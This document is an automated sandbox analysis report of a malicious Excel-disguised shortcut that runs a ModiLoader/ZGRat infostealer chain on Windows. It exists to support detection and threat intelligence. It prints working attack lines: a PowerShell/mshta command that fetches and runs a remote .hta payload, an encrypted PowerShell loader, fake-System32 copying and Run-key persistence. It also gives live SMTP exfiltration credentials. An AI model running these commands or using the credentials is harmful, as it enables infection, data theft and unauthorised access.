Analysis
-
max time kernel
143s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
24-04-2024 01:36
Static task
static1
Behavioral task
behavioral1
Sample
FT. 40FE CNY .xlsx.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
FT. 40FE CNY .xlsx.lnk
Resource
win10v2004-20240412-en
General
-
Target
FT. 40FE CNY .xlsx.lnk
-
Size
2KB
-
MD5
82fde340f187a517e0feced1d4972363
-
SHA1
07740ba4e30a1dbc830451a0d05130ba1af28be9
-
SHA256
e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3
-
SHA512
db1630813f3a6e19b9c1bfb6dbaecd3829592230635721df5e2121217bbe2ea2a7594eae7061d5d2ce2baf4bfad5687ce22fa58dba94e8e30b0d7630e872f79c
Malware Config
Extracted
https://www.sessosesso.it/assets/aw/yt.hta
Extracted
Protocol: smtp- Host:
mail.irmaklarpaslanmaz.com.tr - Port:
587 - Username:
muhasebe@irmaklarpaslanmaz.com.tr - Password:
MH5473588PmZ
Signatures
-
Detect ZGRat V1 27 IoCs
Processes:
resource yara_rule behavioral2/memory/216-167-0x000000004C1F0000-0x000000004C24A000-memory.dmp family_zgrat_v1 behavioral2/memory/216-169-0x000000004C2D0000-0x000000004C32A000-memory.dmp family_zgrat_v1 behavioral2/memory/216-171-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-170-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-173-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-175-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-177-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-180-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-182-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-184-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-186-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-188-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-190-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-192-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-194-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-196-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-203-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-198-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-205-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-208-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-210-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-212-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-214-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-216-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-222-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-220-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 behavioral2/memory/216-218-0x000000004C2D0000-0x000000004C323000-memory.dmp family_zgrat_v1 -
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
ModiLoader Second Stage 1 IoCs
Processes:
resource yara_rule behavioral2/memory/720-109-0x0000000002910000-0x0000000003910000-memory.dmp modiloader_stage2 -
Blocklisted process makes network request 6 IoCs
Processes:
mshta.exepowershell.exeflow pid process 10 2168 mshta.exe 13 2168 mshta.exe 25 2168 mshta.exe 30 2168 mshta.exe 45 3912 powershell.exe 47 3912 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exemshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation mshta.exe -
Executes dropped EXE 3 IoCs
Processes:
uc.exeeasinvoker.exebwsiuvcU.pifpid process 720 uc.exe 1348 easinvoker.exe 216 bwsiuvcU.pif -
Loads dropped DLL 1 IoCs
Processes:
easinvoker.exepid process 1348 easinvoker.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
uc.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ucvuiswb = "C:\\Users\\Public\\Ucvuiswb.url" uc.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
uc.exedescription pid process target process PID 720 set thread context of 216 720 uc.exe bwsiuvcU.pif -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 6 IoCs
Processes:
xcopy.exexcopy.exexcopy.exeEXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\Local Settings powershell.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 72 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 74 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1672 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepowershell.exepowershell.exebwsiuvcU.pifpid process 4040 powershell.exe 4040 powershell.exe 3968 powershell.exe 3968 powershell.exe 3912 powershell.exe 3912 powershell.exe 216 bwsiuvcU.pif 216 bwsiuvcU.pif 216 bwsiuvcU.pif -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exepowershell.exepowershell.exebwsiuvcU.pifdescription pid process Token: SeDebugPrivilege 4040 powershell.exe Token: SeDebugPrivilege 3968 powershell.exe Token: SeDebugPrivilege 3912 powershell.exe Token: SeDebugPrivilege 216 bwsiuvcU.pif -
Suspicious use of SetWindowsHookEx 15 IoCs
Processes:
EXCEL.EXEbwsiuvcU.pifpid process 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 216 bwsiuvcU.pif -
Suspicious use of WriteProcessMemory 45 IoCs
Processes:
cmd.exepowershell.exemshta.exepowershell.exepowershell.exeuc.execmd.exedescription pid process target process PID 4684 wrote to memory of 4040 4684 cmd.exe powershell.exe PID 4684 wrote to memory of 4040 4684 cmd.exe powershell.exe PID 4040 wrote to memory of 2168 4040 powershell.exe mshta.exe PID 4040 wrote to memory of 2168 4040 powershell.exe mshta.exe PID 2168 wrote to memory of 3968 2168 mshta.exe powershell.exe PID 2168 wrote to memory of 3968 2168 mshta.exe powershell.exe PID 3968 wrote to memory of 3912 3968 powershell.exe powershell.exe PID 3968 wrote to memory of 3912 3968 powershell.exe powershell.exe PID 3912 wrote to memory of 1672 3912 powershell.exe EXCEL.EXE PID 3912 wrote to memory of 1672 3912 powershell.exe EXCEL.EXE PID 3912 wrote to memory of 1672 3912 powershell.exe EXCEL.EXE PID 3912 wrote to memory of 720 3912 powershell.exe uc.exe PID 3912 wrote to memory of 720 3912 powershell.exe uc.exe PID 3912 wrote to memory of 720 3912 powershell.exe uc.exe PID 720 wrote to memory of 4836 720 uc.exe cmd.exe PID 720 wrote to memory of 4836 720 uc.exe cmd.exe PID 720 wrote to memory of 4836 720 uc.exe cmd.exe PID 4836 wrote to memory of 3644 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 3644 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 3644 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 4316 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 4316 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 4316 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 952 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 952 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 952 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 3648 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 3648 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 3648 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 928 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 928 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 928 4836 cmd.exe cmd.exe PID 4836 wrote to memory of 4924 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 4924 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 4924 4836 cmd.exe xcopy.exe PID 4836 wrote to memory of 1348 4836 cmd.exe easinvoker.exe PID 4836 wrote to memory of 1348 4836 cmd.exe easinvoker.exe PID 720 wrote to memory of 4268 720 uc.exe extrac32.exe PID 720 wrote to memory of 4268 720 uc.exe extrac32.exe PID 720 wrote to memory of 4268 720 uc.exe extrac32.exe PID 720 wrote to memory of 216 720 uc.exe bwsiuvcU.pif PID 720 wrote to memory of 216 720 uc.exe bwsiuvcU.pif PID 720 wrote to memory of 216 720 uc.exe bwsiuvcU.pif PID 720 wrote to memory of 216 720 uc.exe bwsiuvcU.pif PID 720 wrote to memory of 216 720 uc.exe bwsiuvcU.pif
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\FT. 40FE CNY .xlsx.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -5⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\Book1.xlsx"6⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\uc.exe"C:\Users\Admin\AppData\Roaming\uc.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\UcvuiswbO.bat" "7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO F"8⤵
-
C:\Windows\SysWOW64\xcopy.exexcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y8⤵
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO F"8⤵
-
C:\Windows\SysWOW64\xcopy.exexcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y8⤵
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO F"8⤵
-
C:\Windows\SysWOW64\xcopy.exexcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y8⤵
- Enumerates system info in registry
-
C:\Windows \System32\easinvoker.exe"C:\Windows \System32\easinvoker.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\extrac32.exeC:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Roaming\uc.exe C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF7⤵
-
C:\Users\Public\Libraries\bwsiuvcU.pifC:\Users\Public\Libraries\bwsiuvcU.pif7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uollzosu.41g.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Book1.xlsxFilesize
7KB
MD51bf87ff1495f215ddfb6c3790dbe6ce9
SHA168cf7434e8b064ae913ad6f1c35b6fbbfaa611e8
SHA2567af5ae538f476b80c64c21104a5898000e309368ea1515adeea90fb19127503b
SHA5121ff153660a86f0048e0bb24684d2d9508a8eab2b91ea5d844001437d7445f5c7ecf4b0258ea8f033e22160e14583cadefc4e9b1af7f195310a0d0537fb9b7ac5
-
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.datFilesize
219B
MD5a78c7a2f12efeec747d8f4301d119d95
SHA1196ba9641b4a0a0f805e696547c4c3605f7dc877
SHA25672513190c8b0fb0ead0238310762adb1e582c58276a456b50f9f3aced9dd6cbb
SHA512313f966d5523929ac7e1c5dbb5a4d260aa63e26dd1d8a75edf7c73eca500aa8efdbbb9c9e6d68aae79ef2929288806e1d5bf33ce086071642df8aff3c06aa58d
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-msFilesize
855B
MD5a29496047934b2244d10412c026e4b8a
SHA14e69cee19a8a3214a867f6afe3989e755cd90619
SHA2569b6d564bd8aa05d6e9626961f8f3cf03f04b0bfa4307ff19dcd80b36cfc462ac
SHA512dbb3da33f0bc797be8a3024d479cf6992098d5f491c0210461478c247f3ee2fe8fb48da4f7fe4eef827bfb662496ef87718e311346d6f8f09a56f0c31758d062
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-msFilesize
24B
MD54fcb2a3ee025e4a10d21e1b154873fe2
SHA157658e2fa594b7d0b99d02e041d0f3418e58856b
SHA25690bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
SHA5124e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff
-
C:\Users\Admin\AppData\Roaming\uc.exeFilesize
1.6MB
MD5e6ac6ca27aa2d60dc59a21af1ffdb086
SHA19f847e34521e8917c8b22eca53b71306bc19af18
SHA256a5b3ce892d48757df98fea906dff92e0210dcbd8d1832e43dfbd2a5ece61fba1
SHA5129f4c1e3cb03cd1333a7f2e01f7a3d61803844fc4c1531dd432cc7b7dedc5625d1253715200cb7e0f6b9c7f906a6dcbb488196153e1e2dc935b27b66d74431ee4
-
C:\Users\Public\Libraries\UcvuiswbO.batFilesize
29KB
MD5828ffbf60677999579dafe4bf3919c63
SHA1a0d159a1b9a49e9eaccc53fe0c3266c0526a1bdc
SHA256abac4a967800f5da708572ec42441ec373cd52459a83a8a382d6b8579482789d
SHA512bf00909e24c5a6fb2346e8457a9adacd5f1b35988d90abbde9ff26896bbb59edafea60d9db4d10182a7b5e129bb69585d3e20bc5c63af3517b3a7ef1e45ffb7e
-
C:\Users\Public\Libraries\bwsiuvcU.pifFilesize
66KB
MD5c116d3604ceafe7057d77ff27552c215
SHA1452b14432fb5758b46f2897aeccd89f7c82a727d
SHA2567bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA5129202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
-
C:\Users\Public\Libraries\easinvoker.exeFilesize
128KB
MD5231ce1e1d7d98b44371ffff407d68b59
SHA125510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA25630951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612
-
C:\Users\Public\Libraries\netutils.dllFilesize
112KB
MD56baaea4d3a65281b55173738795eb02c
SHA11fbe7ec7f5e2d1fb0ab1807e149eee66a86f9224
SHA2560007fa57da2e1de2e487492d00b99abaeca7e9f9cac8a10e24eb569e19f76ee1
SHA512af0285cf961aeae960ede41f195809e9b84ccb262f17f2e994da5c599ebdf712788e5a3f2e0e2ed16e67aa888bdabfd7a6096ad8dda2d062d2f82b010e81d5c5
-
memory/216-201-0x000000004C340000-0x000000004C350000-memory.dmpFilesize
64KB
-
memory/216-199-0x000000004C340000-0x000000004C350000-memory.dmpFilesize
64KB
-
memory/216-1237-0x000000004C340000-0x000000004C350000-memory.dmpFilesize
64KB
-
memory/216-1236-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/216-164-0x0000000000400000-0x0000000001400000-memory.dmpFilesize
16.0MB
-
memory/216-1234-0x000000004D7B0000-0x000000004D842000-memory.dmpFilesize
584KB
-
memory/216-1233-0x000000004C340000-0x000000004C350000-memory.dmpFilesize
64KB
-
memory/216-1232-0x000000004C340000-0x000000004C350000-memory.dmpFilesize
64KB
-
memory/216-1231-0x000000004C340000-0x000000004C350000-memory.dmpFilesize
64KB
-
memory/216-1228-0x000000004D1D0000-0x000000004D26C000-memory.dmpFilesize
624KB
-
memory/216-1227-0x000000004D180000-0x000000004D1D0000-memory.dmpFilesize
320KB
-
memory/216-1226-0x000000004C340000-0x000000004C350000-memory.dmpFilesize
64KB
-
memory/216-1225-0x000000004CA00000-0x000000004CA66000-memory.dmpFilesize
408KB
-
memory/216-218-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-220-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-222-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-216-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-214-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-212-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-166-0x0000000000400000-0x0000000001400000-memory.dmpFilesize
16.0MB
-
memory/216-210-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-208-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-207-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/216-205-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-198-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-170-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-202-0x000000004C340000-0x000000004C350000-memory.dmpFilesize
64KB
-
memory/216-167-0x000000004C1F0000-0x000000004C24A000-memory.dmpFilesize
360KB
-
memory/216-203-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-196-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-194-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-192-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-190-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-171-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-169-0x000000004C2D0000-0x000000004C32A000-memory.dmpFilesize
360KB
-
memory/216-168-0x000000004C350000-0x000000004C8F4000-memory.dmpFilesize
5.6MB
-
memory/216-188-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-186-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-173-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-184-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-182-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-180-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-175-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-177-0x000000004C2D0000-0x000000004C323000-memory.dmpFilesize
332KB
-
memory/216-161-0x0000000000400000-0x0000000001400000-memory.dmpFilesize
16.0MB
-
memory/216-179-0x0000000000400000-0x0000000001400000-memory.dmpFilesize
16.0MB
-
memory/216-1235-0x000000004D9E0000-0x000000004D9EA000-memory.dmpFilesize
40KB
-
memory/720-132-0x0000000000400000-0x000000000059C000-memory.dmpFilesize
1.6MB
-
memory/720-109-0x0000000002910000-0x0000000003910000-memory.dmpFilesize
16.0MB
-
memory/720-108-0x0000000002910000-0x0000000003910000-memory.dmpFilesize
16.0MB
-
memory/720-105-0x0000000000890000-0x0000000000891000-memory.dmpFilesize
4KB
-
memory/1348-152-0x00000000613C0000-0x00000000613E3000-memory.dmpFilesize
140KB
-
memory/1672-79-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-66-0x00007FFC15310000-0x00007FFC15320000-memory.dmpFilesize
64KB
-
memory/1672-74-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-1263-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-160-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-1264-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-59-0x00007FFC15310000-0x00007FFC15320000-memory.dmpFilesize
64KB
-
memory/1672-60-0x00007FFC15310000-0x00007FFC15320000-memory.dmpFilesize
64KB
-
memory/1672-61-0x00007FFC15310000-0x00007FFC15320000-memory.dmpFilesize
64KB
-
memory/1672-62-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-63-0x00007FFC15310000-0x00007FFC15320000-memory.dmpFilesize
64KB
-
memory/1672-64-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-82-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
